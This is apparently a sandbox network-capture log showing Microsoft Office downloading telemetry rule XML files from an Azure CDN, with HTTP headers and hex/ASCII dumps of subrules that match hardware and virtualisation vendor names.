2024-10-18 21:46:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 34547014-f01e-003f-75cc-20d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214632Z-16b659b4499gh2srh1fh903xkw0000000by00000000004ek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 7b3b5240-301e-0020-2292-1f6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214632Z-15b8d89586f2hk2885zk3a4enc00000005m000000000e79p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 2bfc10a8-001e-00ad-20d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214632Z-15b8d89586fzhrwg5nzgg1z60000000005ng00000000n9hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7283c019-301e-005d-2dd8-1ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214632Z-r197bdfb6b4qpk6v9629ad4b5s00000003yg0000000040d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: fc76b70a-c01e-0034-0bf8-202af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214633Z-15b8d89586fxdh48yvzh6as6u400000005fg00000000pwpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:33 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 96579733-301e-0099-3cd8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214633Z-16b659b4499j6gq7pkfa2qzkk40000000aug00000000u1kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2f548e5b-201e-003c-5d24-2130f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214633Z-15b8d89586fwzdd8urmg0p1ebs00000000w0000000003kge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:33 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: feceab2e-401e-0016-43d8-1e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214633Z-16b659b44994sjcfes83c39y4000000009g000000000nqqq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5871072e-001e-0034-4bb0-20dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214633Z-15b8d89586f989rks44whx5v7s00000005r0000000009046 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:34 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:34 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fe1b21e2-601e-00ab-77d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214634Z-16b659b4499rzdzwehs0w9w5d80000000b7000000000hdf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:34 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 90036c96-501e-005b-11d8-1ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214634Z-r197bdfb6b4kdv8k52pqueg7180000000cb000000000fpaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:34 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: caad41a3-c01e-0034-68d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214634Z-16b659b4499hn29ks1ddp5hvac0000000d5g00000000byzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
